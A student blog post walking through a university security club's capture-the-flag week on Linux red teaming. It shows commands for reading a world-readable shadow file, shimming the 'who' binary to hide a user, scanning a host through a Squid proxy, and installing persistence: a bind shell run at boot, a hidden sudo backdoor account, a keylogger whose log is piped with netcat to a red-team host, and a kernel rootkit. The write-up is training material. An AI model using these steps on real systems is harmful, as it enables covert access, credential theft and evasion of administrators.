The RIT Security Club

RITSEC Spring 2019 CTF — Week 10

Wyatt Tauber

--

The tenth week of RITSEC’s Spring 2019 CTF has concluded. Although the official challenge write-ups for the semester CTF will be posted on RITSEC’s GitHub for those interested, I have more detailed write-ups here each week for the challenges I am able to solve. I do this because as a freshman, when I read the challenge write-ups they often went step-by-step but never elaborated on why a certain command was run or the strategy the user followed when solving the challenges. This is my effort to elaborate on the reasoning to the process.

Topic — Linux Red Team

This week, participants were given two virtual machines. The first, a minimal CentOS 7 box, served as the main challenge VM for learning how red teams (such as RITSEC’s) operate and prepare blue teamers for some of their antics in the upcoming IRSeC. The second VM was a black box, a virtual machine for which no login information was given, to simulate common experiences of a red team member. Topics covered this week included various persistence and data exfiltration techniques, penetration testing, and malware installation.

Easy 1: We’ve added 100 users to the machine so the blue teamers will never find our one user we set without a password!
Wait, did we fix the permissions on the file where password hashes are stored? I hope so.

While /etc/passwd stores the list of users and groups, the file /etc/shadow stores encrypted passwords and hash types. Each line in the file is in a format similar to

root:$6$Ke02nYgo.9v0SF4p$hjztYvo/M4buqO4oBX8KZTftjCn6fE4cV5o/I95QPekeQpITwFTRbDUBYBLIUx2mhorQoj9bLN8v.w6btE9xy1:16431:0:99999:7:::

This example can be broken down into several important sections, each separated by a colon:

  • root — This is the username of the account used when logging in.
  • $6$Ke02nYgo.9v0SF4p$hjztYvo/M4buqO4oBX8KZTftjCn6fE4cV5o/I95QPekeQpITwFTRbDUBYBLIUx2mhorQoj9bLN8v.w6btE9xy1 — This is the encrypted password in the format $id$salt$hashed, where id is the type of encryption used, salt is the random data used at the start of the encryption algorithm to ensure a random hash, and hashed is the hashed password. This entire field will be blank if no password is used.

Digging a bit deeper into the previous explanation, Linux accounts have the option to use several different types of password encryption, such as:

  1. $1$ — MD5, Message Digest 5, a cryptographically-weak but still widely used standard
  2. $2a$ or $2y$ — Blowfish, a symmetric-key block cipher with a small 64-bit block size
  3. $5$ — SHA-256, the Secure Hash Algorithm with a 256-bit hash value
  4. $6$ — SHA-512, the Secure Hash Algorithm with 512-bit hash value

Back to the main line…

  • 16431 — The password age, or the number of days since the password was last changed
  • 0 — The minimum number of days for which a user has to wait to change their password again
  • 99999 — The maximum number of days before which a user must change their password again
  • 7 — The number of notification days, or the maximum number of days before the expiration date for which the user will get a notification to change their password
  • <blank>— The disable count, or the number of days after the password expires that the account will be disabled
  • <blank> — The number of days since the account has been disabled

Try to view the shadow file by cating it. Typically, users not in the sudoers group can’t access this file, but as the hint says, the permissions have been changed.

Other users have read permission (the last group of `r--`)
`cat /etc/shadow`

As the challenge states, this representation is not useful for finding the user without a password assigned. Fortunately, Linux includes many useful tools for parsing text into a readable format (namely grep, sed, and awk). Here,a grep command is used to find any users with :*: or :: in the first series of colons per line in the file, and trim the results to contain only the account names.

cat /etc/shadow | grep '^[^:]*:.\?:' | cut -d: -f1
Results of the previous command

As can be seen, the only non-service account listed is bob, so this must be the account added by the “red team”. The /home/bob directory can’t be accessed by the ritsec user, but since there is no password on the account there is nothing preventing another user from switching users to bob by using thesu bob command.

The results of the `su bob` command

Next, search in bob's home directory for the flag.

`cat ~/e1.txt`

The flag is RS{n0_p4sswd}.

Easy 2: Now we have to hide that we’re logged in as that user in Easy 1! Shim the `who` binary so that it removes that user from the list of logged in users.
Sign-off based: Show your solution to the Tech Lead for the flag.
This task can’t be performed in the challenge VM because users cannot rename binary files without
sudo permissions. Perform the task in any Linux OS. [I will be using an Ubuntu 18.10 VM.]

“Shimming” is the process of modifying an existing Linux binary (such as “who”) to hide or misinterpret results, usually for malicious intent. who is a basic command to list users logged in to the system. For this example, simply rename who to anything else (who2 in this example) and replace it with a custom bash script named who.

#!/bin/bashecho -e "$(who2)"

This script calls the original who program (now called who2). Next, there needs to be a way to invoke the original who command without including the logged-in bob user. One of the many solutions to this is to add a sed command to strip out any lines with the text bob in them. This should be sufficient for an Easy challenge.

#!/bin/bashecho -e "$(who2)" | sed '/bob/d'

Now, any user with bob in their name will appear to not be logged in when a user runs the who command!

Running `who` and `who2`. Note the lack of the `bob` user between outputs.

Side note: An easy way to detect if binaries have been replaced with scripts is to run the file </bin/<command>> command on them. In this example, if a user were to run file /bin/who, they would see this result:

script: Bourne-Again shell script, ASCII text executable

The result should be similar to:

/bin/who: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=cc28e72b30a2d8d17c881adca1d7962e5f78d907, stripped

Of course, this won’t be as simple for a more complex shimming attack where the original file is replaced with another binary. In such a case, it is best to compare the hashes of the file suspected to be shimmed with the list of file hashes from the OS developer (typically available online).

Medium 1: The black box has port 80 open, why can’t I connect!? I wonder how I can do it.

For this challenge, a second (preferably Kali — or another Linux distro with common penetration testing tools installed) machine is needed. Ensure the virtual black box is connected to the same network as whatever device will be used to scan it (typically a NAT mode). Then start nmap and scan the subnet to find the IP address of the black box.

nmap -sP <subnet>/24

If there are multiple devices on the subnet more scanning of individual IP addresses (such as OS identification with -o) may be needed to identify the black box from these other devices. In this case, the black box is running in VMWare attached to a virtual adapter in NAT mode with the challenge VM and a Kali VM.

Scanning the subnet with the above command. Black box identified with a red star.

Run a nmap SYN scan with version identification to ensure this is the correct host (OS identification can also be run with the -o flag if desired).

nmap -sV 192.168.48.147
Results of service detection with the above command.

The black box appears to be running Ubuntu and the Squid proxy. This means that most of the traffic coming from the box will go through port 3128. Try connecting on that port with a web browser.

http://<ip>:3128 — the Squid web proxy error page

The server presents an error message. As this is a proxy server, perhaps requests should be proxied through it rather than trying to connect to it directly. Fortunately, this is a very easy process. Using the built-in proxy configuration of Kali (or other OS), set all requests to be proxied through <IP address>:3128 of the black box.

Configuring a proxy server in Kali (Settings > Network > Network Proxy)

Now return to the previous error page but leave out the port number, as the request will be proxied through Squid and appear to come from it’s internal network.

http://192.168.48.147/

Access to the main page of the web server has been restricted. Although the flag is likely still available, it’s exact URL is unknown, making opening it far more difficult. To discover the URL, try running a web application vulnerability scanner. This may find that some of Apache’s many logs and default files can be read, which could give clues to the location of the flag. Nikto was run in the example, finding one of the aforementioned files.

nikto -host 192.168.48.147:3128
Result of the above command. Some lines omitted.

Try browsing to the indicated webpage.

http://192.168.48.147/server-status (1 of 2)

This result is interesting, but the log of requests seen by scrolling down is much more so.

http://192.168.48.147/server-status (2 of 2)

Any files after the /html/ folder can be accessed via a browser by name, so try accessing the flag with the following URL:

http://192.168.48.147/medium1/
The URL with the Base64-encoded flag

Now just convert the Base64 UlN7ZzAwZF81cXUxZF9iQWRfNXF1aWR9 to text.

echo "UlN7ZzAwZF81cXUxZF9iQWRfNXF1aWR9" | base64 -d

The flag is RS{g00d_5qu1d_bAd_5quid}.

Hard 1: Install five forms of persistence on a Linux machine!
Sign-off based: Send your screenshots to the Tech Lead. Screenshots must include: an autorun, a reverse shell, a backdoor, a keylogger, and a rootkit.

For this challenge, an Ubuntu 18.10 VM will be used as the infected machine.

Autorun and Reverse Shell: ShellPop

“Generate easy and sophisticated reverse or bind shell commands.”

ShellPop has a variety of configuration options and supported languages, but Bash or Python will be supported the easiest on most Linux systems. This example uses Python. Get the listener code with the following command:

shellpop --payload linux/bind/tcp/python --port 6888 --handler
Creating the reverse shell with the above command on Kali Linux

The generated code can now be made into a script and placed in the init.d folder, which will run it on startup. Each time the box is restarted, a reverse shell will be opened.

Running the reverse shell in a script on startup

Backdoor: Just a user account

If hidden cleverly enough (such as along with 100 other users!), a user account with sudo privileges makes a very effective backdoor. Create a discreetly-named user account and add it to the sudo group. Make sure SSH is installed.

adduser hacked
usermod -aG sudo hacked

Keylogger: logkeys

“A GNU/Linux keylogger that just seems to work”

Install logkeys from source and start it on the infected machine. This will create a logging file in a location of the user’s choice. Next, netcat (or nc, a common tool for transferring files over a network) this logging file to the red team box.

$user@infected-pc: cat 'logkeys_out' | nc <red team ip> <port>$user@red-team-box: nc -l -p 4000 > logkeys
Left: The exfiltrated keylogger data (adding a user, note plaintext password); Right: The infected box

Always be aware of what you are sending and receiving with netstat!

Rootkit: Reptile

“An LKM rootkit for evil (or study) purposes.”

Loadable kernel module (LKM) rootkits are some of the most difficult and frustrating to detect due to their deep integration with the operating system, but it’s not impossible to do so. Install and build Reptile from source on the infected machine, and run the Reptile client on the red team box. Provide the infected machine’s IP address and run for a root shell!

Rootkits have the ability to “unlink” their files and processes from linked lists (data structures) before they are provided to the kernel, for commands such as ls and ps. This allows them to remain hidden from normal commands.

Hiding and unhiding the Reptile rootkit

Wow, who knew red teaming was so easy?! 😉 RS{th3y’re_3v3rywh3r3}

Conclusion

Although it sometimes isn’t realized, red teaming is a very active and important market outside of security competitions. Many companies such as Facebook, Google and even Busch have internal red teams and penetration testers that specifically attack their own infrastructure to find vulnerabilities before malicious actors do. Some, such as IBM, contract this service to other companies as well. One of the most difficult industry certifications, the Offensive Security Certified Professional, is focused on penetration testing.

For more resources, RIT has several classes dedicated to both sides of the game such as CSEC-470 Covert Communications, CSEC-471 Penetration Testing Frameworks and Methodologies, and CSEC-466/476 Introduction to Malware/Malware Reverse Engineering.

There will be 5 more weeks of challenges coming from RITSEC this semester! If you want to know more about RITSEC check out their website or attend a meeting if you’re on RIT’s campus — 12–4 PM in GOL-1400 for the CTF and presentations. Until next week!

--

--

DFIR, CTFs, disinformation, STEM education, and pretty much anything else that comes to mind. DSU PhDCO student. wyatttauber.com